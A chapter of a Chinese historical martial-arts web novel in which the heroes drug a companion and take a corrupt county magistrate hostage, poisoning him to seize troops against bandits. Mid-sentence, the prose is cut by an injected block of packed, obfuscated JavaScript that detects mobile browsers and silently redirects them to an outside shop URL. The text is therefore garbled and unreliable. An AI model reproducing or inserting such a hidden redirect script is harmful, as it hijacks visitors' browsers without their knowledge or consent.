胥璜脚步一顿,凤岐差点一头撞上去,忙往后退了两步。 “我说,你是不是忘了什么?” 凤岐:“嗯?” 胥璜蹙眉盯着他:“被我那一脚踹傻了?你何时告诉我计划了?” 凤岐恍然回神,拍了拍额头。 “抱歉,刚睡醒,还没回神。” 说罢,他上前一步微微倾身,凑在胥璜耳边道:“挟持县令,借兵剿匪。” 温热的气息洒在耳边,胥璜不由偏了偏头:“说话就说话,靠这么近作甚!” “万一有人偷…” “师姐。” 凤岐话还没说完,门外便传来鹿玡的声音,胥璜揉了揉酥麻的耳朵,几步上前开了门。 “我听见你们起床了,见你们很久没出来便来喊一声,午饭送过来了。” 鹿玡道。 胥璜嗯了声。 “走吧,先吃饭。” 她面上不显,心里却在思量凤岐方才的话,挟持县令,借兵剿匪? 他这是借兵?分明是抢兵。 可官匪勾结,就算威胁,如何保证衙卫愿意配合?还是说他有别的计划? 算了,凤昭地界,她还是别插手太多,配合他便是了。 18.第 18 章 但在施行‘威胁借兵’计划之前,得先将三十七说服,可胥璜昨日听了他到千手佛的经过,感觉他可能不是轻易能说动的。 吃饭时,她一直在想凤岐会用什么样的法子说服三十七,若是她的话…… ‘威胁借兵’是兵行险着,有极大的风险,所以在这之前,不适合策反三十七,这人虽瞧着是个傻大个,但他也有他自己的想法。 千手佛那位五哥对他来说是恩人,他若是和贪财爱占小便宜的或许还好说,可三十七不是,所以,他绝对不会背叛他的恩人。 在借兵没有成功的情况下,同他说了很有可能打草惊蛇,所以最好的办法是,先稳住三十七。 他们要挟持县令,很难瞒过同行的三十七,所以稳住他的最好办法是… “三十七哥,你是不是昨夜没睡好啊。”凤岐伸手在迷迷瞪瞪的三十七眼前晃了晃。 三十七打了个哈欠,摇了摇头。 “我…我睡的很早…怎么这么困…” “是吗,那你夜里是不是做梦了,所以没有睡好?”凤岐关切道。 “好像是……砰!” 话没说完,三十七就一头栽在在了桌子上。 胥璜默然片刻。 稳住他最好的办法就是将他弄晕。 胥璜看向鹿玡:“你给他的药?” 鹿玡闻言有些茫然:“不是师姐让我给风公子一些迷药?” 胥璜瞥了眼凤岐,凤岐干笑了声。 “不这么说,小芽儿不定能给。” 胥璜懒得同他计较,只朝鹿玡道:“我们同住一起,我若问你要什么,定会亲自同你说,下次莫要被人骗了。” 鹿玡不免有些忐忑:“那我…” “无妨,这次迷药给的很好。” 胥璜想了想,补充道:“风公子暂时是可信之人。” 鹿玡这才放心的点点头。 “嘶…”凤岐:“不是,什么叫我暂时是可信之人?” “你还要不要挟持县令了?” 胥璜淡淡看着他:“再不动手,今晚还要住一夜吗?” 凤岐立刻站起来。 “走,动手!” 三人出了门,便寻了个丫鬟问县令住在何处,丫鬟知道他们与县令关系匪浅,便给他们指了个位置。 几人一路顺畅走过去,到了寝院外才被兵卫拦住:“做什么,大人还没醒。” 凤岐笑眯眯上前道:“大人没告诉你吗,我们是千手佛的人,昨夜来的,跟大人约好今日见面。” 兵卫皱眉,他记得大人明明同韦主簿说过,一早就将这几人送走,怎么还没走, “大人没有说过,你们且先等着,等大人醒了再…” 兵卫还没说完,便有一把粉末迎面而来,他当即察觉到不好,可还没有来得及开口就晕了过去。 凤岐大摇大摆便往县令的寝房走去,刚要推门时韦主簿却赶过来了。 “你们怎么在这儿?” 凤岐的手正放在门上,转头对上韦主簿疑惑的眼神,他笑了笑,道:“我有急事同县令大人说。” 韦主簿隐约感觉不太对。 原本今儿一早他就想将人送走,叫丫鬟去看了几次都说人没醒,这小夫妻睡在一起也不好让人进去喊,只能等,这一等就是中午了。 三十七说要吃饭,他便只能让人送午饭过去,想着午饭后再不醒,就要让人去催了。 可他刚去那边一看,房间人都不见了,只有三十七像是喝醉了趴在桌上,他感觉不对就赶紧来找大人,可没想到会在这里碰到他们。 但大人房外的人怎么会放他们进…… 韦主簿一转头就看见倒在地上的兵卫,他目光一紧,当即就要大喊出声,但胥璜动作比他更快,在他发出声音前就飞身上前点了他的哑穴,一把将他拽进了屋内。 凤岐落在最后面,反手关上门。 此番动静不小,惊醒了王县令,他不耐道:“吵什么?” 胥璜拉着鹿玡立在外头,凤岐则踱步越过屏风到了里间。 “大人睡得可好啊?” 王县令正发着火,突然听见一道陌生的声音传来,他惊的立刻就醒了瞌睡,猛地坐起来循声看去:“谁!” 凤岐眼带笑意打量着屏风:“这副屏风不错,像是一位大家真迹。” 王县令此时哪里有心情跟他聊什么真迹,他的房里闯进来个陌生人,他的人都去哪了? “来人!” 话音落下,外头静若无声。 王县令眼底闪过一丝警惕:“你到底是谁?” 凤岐随意瞥了他一眼,道:“穿好衣裳出来,自有人告诉你我是谁?” 王县令这时也没有旁的法子,在不知道发生了什么的前提下,他只能先按他说的做。 王县令穿好衣裳,才走过屏风就被眼前的景象吓了一跳,只见韦主簿脖颈上架着一把刀,正惊恐的看着他。 而挟持他的是位极其好看的女子。 但在生命受到威胁的情况下,再好看的美人对他也没了吸引力。 “你…你们是谁?” 凤岐看向韦主簿:“告诉你们大人,我们是谁?” 胥璜抬手解了韦主簿的穴位,脖子上的匕首却未松动分毫,韦主簿自然不敢乱动,苦着脸朝王县令道:“大人,他们就是我昨夜说的千手佛新进来的人,排名三十八,三十九,四十。” 但眼下看来,显然不太对劲。 “还有个三十七,喝醉酒睡着了。” 韦主簿补充道:“只有他有腰牌,有千手佛的刀。” 王县令大概听明白了。 这一行人里多半只有那个三十七是真的来自千手佛,这几个人…… 王县令闭了闭眼,再睁开眼时狠狠剜了眼韦主簿,真是越来越不长眼了。 这几个人通身这气度到底哪里像山匪了。 韦主簿此时也是后悔莫及。 他真是被这人给骗了! “你们到底是谁,有什么目的。” 王县令强行镇定下来,问道。 他想过可能是要钱,可能是别的要求,但他唯独没想到… “剿匪。” 王县令有一瞬一位自己听错了:“什么?” 凤岐冷声道:“听不清,耳朵可以不要。” 韦主簿也愣住了。 剿匪? 他们和千手佛的人一起称兄道弟,却对他们说他们要去剿匪? “你…你们昨日不是还抢了那个眯眯眼的小富商?” “是啊。” 凤岐:“所以,这和我们现在剿匪有什么冲突吗?” 随后不等王县令回答,他便缓缓坐到屋里的椅子上,道:“我听说王县令曾经派人去过千手佛,可却白白送了五条性命…嘶…” 凤岐不解道:“这不对啊,王县令不是和千手佛勾结在一处吗,按理说这剿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16524691|184600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 匪也就是演出戏,千手佛不至于这么对王县令的人吧?” 王县令韦主簿脸色都难看至极。 昨夜他们客客气气将他们请进来,此时再说和千手佛没关系,又有什么用? “你们到底是什么人?” 王县令细细审视着凤岐道。 此人一看便非寻常人,便是放在京都也是鹤立鸡群,更别说在他们这小县城了。 这种地方可养不出这样气质的人。 难道,是上头派来的? 王县令越想越心惊,要真是如此,他们可就着了道了! 眼下想要和千手佛撇清干系是不可能了,毕竟他们客房里正趴着一个醉酒的千手佛山匪! 只还不等王县令想出主意,凤岐便继续道:“你不用管我是谁,也无需这般害怕,我知道你是没有胆子去千佛山剿匪的,所以我也不需要你出面。” 王县令微微松了口气。 “那你要如何?” “给我些兵,我亲自去。” 凤岐语气平静道。 可王县令却听出了一股毋庸置疑和命令的口吻,这样的语气多是上位者对下位者的发号施令。 王县令额上开始渗出薄汗。 他到底是什么人? “你要多少兵?” 凤岐道:“有多少人愿意去,我就要多少兵。” 王县令韦主簿听了这话都是一愣。 自愿去? 他疯了吗? 底下大半人知晓衙门与千手佛的关系,还有一半都算不知道,也被上一次的惨状吓破了胆,如今谁还会自愿去剿匪? “若我不同意呢?” 最后一个字话音还没落,王县令就觉眼前一花,一股冷风直朝他扑来,脖颈上也传来一股凉意,定睛一看,竟是方才还挟持着韦主簿的女子在眨眼间已经将刀架在了他的脖颈上。 女子轻轻笑着,明明是明媚和煦的,可王县令却感觉浑身泛起一股寒意。 “我同意!” 这些人来历非凡,又有如此身手,好汉不吃眼前亏,先保住命再徐徐图之。 “那就多谢县令大人配合了。” 凤岐似笑非笑道:“小芽儿,给县令大人喂颗药。” 王县令看着鹿玡脚步轻快的朝他走来,吓得瞪大眼:“什么药?你们要给我吃什么药?” “放心,死不了。” 凤岐道:“只要你乖乖配合,自然会给你解药,我不指望你能帮忙剿匪,但也不喜欢背后有敌人的感觉,若是剿匪时你在背后使坏,那解药就别想要了。” “不,不会的,我说到做…啊…” 胥璜手脚利落的卸了他的下巴,在鹿玡将药放进去后又将下巴转上,两指并拢迅速从下巴处划至脖颈。 药顺利的吞了进去。 “你的话没有可信度。”胥璜道:“还有,我不喜欢听废话,下次开口前捡要紧的说,否则我便让你永远闭嘴。” 谨慎起见,韦主簿也有着同等待遇。 但他乖觉,晓得躲不过,自己接过鹿玡的药就吞了。 “现在召集衙门所有兵卫,另外再准备几匹马,一辆马车。”凤岐道:“马车要舒适些的。” 王县令也不知道自己是怎么了,一对上他他就不由自主想对其卑躬屈膝。 这并非全是来自于性命受到了威胁,似乎还有一些更可怕的缘故。 “好,我这就让人去准备。”